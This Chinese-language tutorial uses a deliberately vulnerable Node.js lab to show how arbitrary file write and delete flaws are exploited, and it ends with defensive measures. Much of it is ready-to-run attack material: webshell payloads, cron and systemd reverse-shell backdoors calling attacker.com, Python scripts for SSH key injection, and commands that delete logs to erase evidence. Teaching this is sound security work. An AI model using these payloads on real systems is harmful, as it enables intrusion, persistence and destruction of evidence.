一、任意文件操作是什么

任意文件操作 = 攻击者可以让服务器写/删任意路径的文件。威力取决于:能写什么文件、能写到哪里。

1.1 高危级别

写入目标 直接后果 危险程度
Web 根目录 + .php/.jsp RCE(WebShell) ★★★★★
.htaccess 扩大攻击面(执行任意后缀) ★★★★
/etc/cron.d/backdoor 定时任务 RCE(root 权限) ★★★★★
~/.ssh/authorized_keys SSH 免密登录 ★★★★★
php.ini / .user.ini 修改 PHP 行为 ★★★★
/etc/hosts DNS 劫持 ★★★
任意文件删除 配置破坏 / 源码删掉 ★★★

二、任意写靶场(Node.js)

// vuln-write.js
const express = require('express');
const fs = require('fs');
const app = express();
app.use(express.urlencoded({ extended: true }));

app.post('/write', (req, res) => {
    const filePath = req.body.file;
    const content  = req.body.content;
    fs.writeFileSync(filePath, content);
    res.send('OK: ' + filePath);
});

app.post('/delete', (req, res) => {
    const filePath = req.body.file;
    if (fs.existsSync(filePath)) {
        fs.unlinkSync(filePath);
        res.send('DELETED: ' + filePath);
    } else { res.send('NOT FOUND'); }
});

app.listen(3000);
``

## 三、WebShell 写入(经典)

``bash
# PHP 一句话
curl -X POST http://target.com/write \
  -d "file=/var/www/html/shell.php" \
  --data-urlencode "content=<?php eval($_GET['c']); ?>"

# JSP WebShell
curl -X POST http://target.com/write \
  -d "file=/usr/local/tomcat/webapps/ROOT/shell.jsp" \
  --data-urlencode "content=<%Runtime.getRuntime().exec(request.getParameter("c"));%>"

# 然后请求
curl "http://target.com/shell.php?c=phpinfo();"
``

## 四、.htaccess 写入

``bash
# 写入 .htaccess:让所有 jpg 当 PHP 执行
curl -X POST http://target.com/write \
  -d "file=/var/www/html/uploads/.htaccess" \
  --data-urlencode "content=AddType application/x-httpd-php .jpg"

# 然后上传 shell.jpg → 当作 PHP 执行
``

## 五、定时任务 RCE

### 5.1 写入 /etc/cron.d

``bash
# 每分钟反弹 Shell
curl -X POST http://target.com/write \
  -d "file=/etc/cron.d/backdoor" \
  --data-urlencode "content=* * * * * root bash -c {echo,BASE64}|{base64,-d}|bash\n"

# 或者 curl backdoor.sh
curl -X POST http://target.com/write \
  -d "file=/etc/cron.d/backdoor" \
  --data-urlencode "content=* * * * * root curl http://attacker.com/shell.sh|bash\n"
``

### 5.2 完整 Python 脚本

```python
# cron_rce.py
import requests, base64

def cron_rce(target, cmd):
    # 方案 1: /etc/cron.d
    cron_entry = f"* * * * * root {cmd}\n"
    try:
        r = requests.post(target + "/write", data={
            "file": "/etc/cron.d/backdoor",
            "content": cron_entry,
        }, timeout=5)
        if r.status_code == 200:
            print(f"[+] /etc/cron.d/backdoor 已写入: {cron_entry.strip()}")
            return True
    except Exception as e:
        print(f"[-] /etc/cron.d: {e}")

    # 方案 2: /var/spool/cron/crontabs/root
    try:
        r = requests.post(target + "/write", data={
            "file": "/var/spool/cron/crontabs/root",
            "content": f"* * * * * {cmd}\n",
        }, timeout=5)
        if r.status_code == 200:
            print(f"[+] crontabs/root 已写入")
            return True
    except Exception as e:
        print(f"[-] crontabs/root: {e}")
    return False

# 反弹 Shell
reverse = "bash -c {echo,BASE64_SHELL}|{base64,-d}|bash"
cron_rce("http://192.168.1.100:3000", reverse)
``

### 5.3 Systemd Timer

``ini
# /etc/systemd/system/backdoor.timer
[Timer]
OnBootSec=10s
Unit=backdoor.service

# /etc/systemd/system/backdoor.service
[Service]
ExecStart=/bin/bash -c 'curl http://attacker.com/shell.sh|bash'
``

## 六、SSH 密钥写入

``bash
# 1. 读取公钥
cat ~/.ssh/id_rsa.pub
# ssh-rsa AAAAB3NzaC1yc2E... attacker@evil

# 2. 写入 /root/.ssh/authorized_keys
curl -X POST http://target.com/write \
  -d "file=/root/.ssh/authorized_keys" \
  -d "content=ssh-rsa AAAAB3NzaC1yc2E... attacker@evil"

# 3. 登录
ssh root@target
``

### 6.1 自动化脚本

```python
# ssh_key_exploit.py
import requests, os

def write_ssh_key(target, public_key, home="/root"):
    key_path = f"{home}/.ssh/authorized_keys"
    r = requests.post(target + "/write", data={
        "file": key_path,
        "content": public_key,
    }, timeout=5)
    if r.status_code == 200:
        print(f"[+] 公钥已写入 {key_path}")
        return True
    return False

# 读取本地公钥并利用
with open(os.path.expanduser('~/.ssh/id_rsa.pub')) as f:
    pubkey = f.read()

# 尝试多个目标用户
for home in ['/root', '/home/www-data', '/home/debian', '/home/app']:
    write_ssh_key("http://192.168.1.100:3000", pubkey, home)
``

## 七、配置文件污染

### 7.1 php.ini

``ini
# /etc/php/8.x/cli/php.ini
disable_functions=
allow_url_include=On
auto_prepend_file=/tmp/backdoor.php
``

### 7.2 Nginx 反代

``nginx
# /etc/nginx/conf.d/backdoor.conf
server {
    listen 4444;
    server_name _;
    root /;
    autoindex on;
}
# 写入后 reload: nginx -t && nginx -s reload
``

### 7.3 /etc/hosts 劫持

``
127.0.0.1 www.target.com
# 把目标自己的域名解析到本地
# 然后本地跑 MITM 代理劫持流量
``

## 八、任意删除漏洞

### 8.1 基础危害

``bash
# 删除网站核心文件
curl -X POST http://target.com/delete -d "file=/var/www/html/config.php"
curl -X POST http://target.com/delete -d "file=/var/www/html/admin/login.php"

# 删除日志(毁灭证据)
curl -X POST http://target.com/delete -d "file=/var/log/apache2/access.log"

# 删除 Linux 启动关键文件
curl -X POST http://target.com/delete -d "file=/sbin/init"
curl -X POST http://target.com/delete -d "file=/boot/vmlinuz"
# → 下次启动直接崩
``

### 8.2 删除 disable_functions 配置文件

``bash
# 某些环境 PHP 安全配置在额外 ini 文件里
curl -X POST http://target.com/delete \
  -d "file=/etc/php/conf.d/security.ini"
# 删除后重启 PHP → disable_functions 全消失
``

## 九、路径穿越 + 任意写

### 9.1 场景

``php
<?php
// 漏洞代码:固定写到 uploads/ 但没做路径校验
$name = $_POST['name'];
file_put_contents("./uploads/" . $name, $_POST['content']);
// 攻击者: name = "../../../etc/cron.d/backdoor"
// 解析后 → /etc/cron.d/backdoor ✓
?>
``

### 9.2 Node.js path.join 绕过

``javascript
const path = require('path');
// path.join 把第一个绝对路径当基准
path.join('/data/uploads', '../../../etc/passwd')
// → '/etc/passwd' ✓ 被覆盖!
``

## 十、防御:文件系统级保护

### 10.1 Python 安全实现

``python
import os

def safe_write(base_dir, filename, content, mode=0o644):
    base_dir = os.path.realpath(base_dir)
    full = os.path.realpath(os.path.join(base_dir, filename))
    if not full.startswith(base_dir + os.sep):
        raise ValueError(f"非法路径: {filename}")
    dangerous = ['/etc', '/root', '/var/spool', '/boot', '/sys', '/proc']
    for d in dangerous:
        if full.startswith(d + os.sep) or full == d:
            raise ValueError(f"禁止写入: {d}")
    if os.path.islink(full):
        raise ValueError("禁止覆盖符号链接")
    # 用 O_NOFOLLOW 防 symlink race
    fd = os.open(full, os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW, mode)
    try:
        os.write(fd, content)
    finally:
        os.close(fd)
``

### 10.2 权限隔离

``bash
# 独立用户运行 Web 服务
useradd -r -s /bin/false webapp
chown -R webapp:webapp /var/www/html/uploads
chmod -R 755 /var/www/html/uploads
# 该用户不能写 /etc / /root / /var/spool 等

# 关键目录 immutable(root 也删不掉,除非 chattr -i)
chattr +i /etc/passwd /etc/shadow /etc/crontab /boot/vmlinuz-*

# auditd 监控关键目录写入
auditctl -w /etc/cron.d -p wa -k cron_write
auditctl -w /etc/passwd -p wa -k passwd_write
auditctl -w /root/.ssh -p wa -k ssh_write
``

### 10.3 系统级防护

- **SELinux / AppArmor**:强制访问控制
- **容器化 + 只读根文件系统**(Docker :ro)
- **seccomp**:禁止 mkdir、symlink 等危险系统调用
- **额外挂载 tmpfs**:/tmp 用 tmpfs 挂载,重启清空

## 十一、小结

任意文件写/删除是**最原始也最常见**的文件操作漏洞。核心防御思路:

1. **先 normalize 再检查** —— realpath + 必须在 base_dir 内
2. **O_NOFOLLOW** —— 禁止覆盖符号链接
3. **权限分离** —— Web 进程不能写系统关键目录
4. **chattr +i** —— 关键文件 immutable
5. **及时审计** —— auditd 监控关键目录写入

一个生产环境里如果能做到:**Web 进程只有 uploads/ 目录写权限 + uploads/ 目录不执行脚本 + uploads/ 目录非 Web 根路径**,那就算存在任意写漏洞,后果也会小很多。